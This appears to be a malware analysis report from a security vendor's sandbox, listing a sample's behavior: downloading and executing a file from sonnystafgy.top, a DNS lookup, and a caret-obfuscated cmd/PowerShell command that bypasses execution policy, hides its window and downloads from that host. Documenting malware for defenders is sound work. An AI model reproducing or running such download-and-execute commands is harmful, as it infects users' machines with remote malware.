Technical Information
Malicious functions
Downloads and executes
- http://sonnystafgy.top/search.php as %appdata%.exe
Executes the following (exploit)
- '<SYSTEM32>\cmd.exe' /C "p^ow^ERSh^ell.^e^Xe ^-EXE^Cut^io^Npo^lI^cy^ b^YP^A^S^s^ -n^oPROf^ILE -wiNDOwstylE ^hI^D^DEn (^NEW-O^b^ject^ sySTEm.NEt.WEbcL^i^ent).^dOwnlOa^df^Ile('http://sonnystafgy.top/...
Network activity
UDP
- DNS ASK so###stafgy.top
Miscellaneous
Creates and executes the following
- '<SYSTEM32>\cmd.exe' /C "p^ow^ERSh^ell.^e^Xe ^-EXE^Cut^io^Npo^lI^cy^ b^YP^A^S^s^ -n^oPROf^ILE -wiNDOwstylE ^hI^D^DEn (^NEW-O^b^ject^ sySTEm.NEt.WEbcL^i^ent).^dOwnlOa^df^Ile('http://sonnystafgy.top/...' (with hidden window)
